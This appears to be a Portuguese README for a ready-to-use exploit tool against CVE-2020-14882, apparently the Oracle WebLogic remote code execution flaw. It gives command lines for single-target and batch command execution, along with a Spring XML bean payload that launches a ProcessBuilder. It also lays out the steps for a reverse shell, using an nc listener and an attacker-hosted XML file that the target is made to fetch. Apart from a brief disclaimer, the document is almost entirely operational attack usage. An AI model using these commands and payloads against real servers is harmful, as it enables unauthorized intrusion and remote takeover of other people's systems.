CVE-2020-14882_ALL

Ferramenta de exploração abrangente para CVE-2020-14882_ALL, suportando detecção de saída de comando, saída de comando em lote e execução de comando sem saída via XML externo.

Módulos necessários: requests, http.client

（A ferramenta destina-se apenas a testes de segurança autorizados. Não a utilize para fins ilegais. O autor não se responsabiliza por uso indevido.）

Versões conhecidas com módulo de saída de comando funcional: 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

Opções

Funcionalidade 1: Saída de Comando

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"

python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"

Funcionalidade 2: Saída de Comando em Lote

python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"

Formato do target.txt: http://x.x.x.x:xx, um por linha.

Funcionalidade 3: Execução de Comando sem Saída via Arquivo XML Externo

1. Exemplo com shell reverso no Linux: edite o arquivo poc.xml e inicie um listener Python.

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
	<value>cmd</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Inicie o listener Python.

Inicie o listener nc.

2. Use a opção -x para especificar o caminho do arquivo XML e enviar o payload.

python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml

3. Shell recebida com sucesso.